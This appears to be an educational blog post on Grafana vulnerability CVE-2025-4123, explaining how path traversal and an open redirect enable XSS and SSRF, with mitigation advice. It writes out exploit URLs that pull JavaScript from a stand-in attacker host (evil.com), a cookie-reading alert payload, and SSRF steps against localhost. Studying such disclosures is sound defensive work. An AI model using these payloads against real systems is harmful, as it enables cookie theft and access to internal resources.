A newly identified security flaw, CVE-2025-4123, exposes the popular monitoring dashboard Grafana to risk of both cross-site scripting (XSS) and server-side request forgery (SSRF) attacks. This vulnerability uniquely leverages a combination of a client-side path traversal and an open redirect, enabling attackers to launch potent attacks with minimal privileges. This post takes you step-by-step through the technical details, code examples, and exploit mechanisms, along with important mitigation notes for administrators.
What's the Issue?
CVE-2025-4123 comes from how Grafana handles certain URL paths, which can be manipulated to trick the application into redirecting users to an external domain. If that domain hosts a frontend plugin mimicking a Grafana plugin, the attacker can inject *arbitrary JavaScript*, triggering a classic XSS scenario. Even worse, if the Grafana Image Renderer plugin is installed, this technique can also be repurposed for SSRF.
A key risk element: No editor permissions are needed. If anonymous access is turned on, *anyone* can pull off this attack.
1. Path Traversal and Open Redirect Combo
Grafana provides a URL path like /public/plugins/, designed to fetch static resources for plugins. But the path processing is vulnerable to directory traversal sequences (../../). Using this, and a crafted external URL, attackers can force a browser to load resources from an *attacker-controlled* website.
Example Malicious URL
https://your-grafana-instance.com/public/plugins/../../../../..//evil.com/my-plugin/
When this path is processed by Grafana, it results in the browser requesting
https://evil.com/my-plugin/
from the attacker's site, instead of an official Grafana resource.
2. Hosting a Malicious Plugin
The attacker prepares a fake plugin, for example at https://evil.com/my-plugin/, containing JavaScript payloads such as:
// simple XSS payload
alert('XSS from evil plugin!');
When a victim follows the crafted link, Grafana’s frontend attempts to load plugin assets from the attacker’s server.
3. Bypassing Permissions
Since no editor permissions are needed for plugin assets to load, and with anonymous access enabled (common for public dashboards), even unauthenticated users can be exposed.
Suppose you host this payload as https://evil.com/my-plugin/module.js
alert(document.cookie);
Now, you trick a Grafana user into visiting
https://your-grafana-instance.com/public/plugins/../../../../..//evil.com/my-plugin/module.js
Grafana attempts to fetch and execute the JS module from the remote URL, which pops the alert—demonstrating XSS.
SSRF via Image Renderer
If the vulnerable Grafana instance runs the Image Renderer plugin, attackers can abuse the same open redirect logic to instruct the backend to fetch *any* arbitrary URL. This occurs when the backend tries to generate images/screenshots and follows the malicious redirect, potentially exposing internal resources.
SSRF Exploit Example
1. Attacker crafts a URL to the vulnerable path, redirecting to a resource inside the local network—say, http://localhost:808/.
Commands the Image Renderer to fetch the image for this malicious panel.
3. The backend fetches http://localhost:808/ and returns its contents as an image response.
Defense: How to Stay Safe
Grafana’s Content-Security-Policy (CSP) defaults block a lot of XSS payloads. Its connect-src directive generally prevents JS from fetching external scripts, but this isn’t always foolproof (especially if CSP isn’t enforced or has been relaxed).
Recommended actions
- Upgrade Grafana: Apply patches addressing CVE-2025-4123 as soon as available. See the official advisory for updates.
References
- Grafana CVE-2025-4123 Advisory
- Grafana Plugins Documentation
- Image Renderer Plugin
- OWASP Path Traversal
- OWASP Open Redirect
Final Thoughts
As Grafana becomes a bigger part of modern observability stacks, attackers look for new avenues. CVE-2025-4123 shows the danger when open redirect and path traversal bugs combine, especially with powerful plugins present. Stay up to date, and never assume a plugin path is safe to expose the world.
Keep your eyes on the advisories, and patch early!
*This post was crafted for educational awareness and system defense research. Only test against systems you own or have written permission to assess.*
Timeline
Published on: 05/22/2025 08:15:52 UTC
Last modified on: 05/23/2025 15:55:02 UTC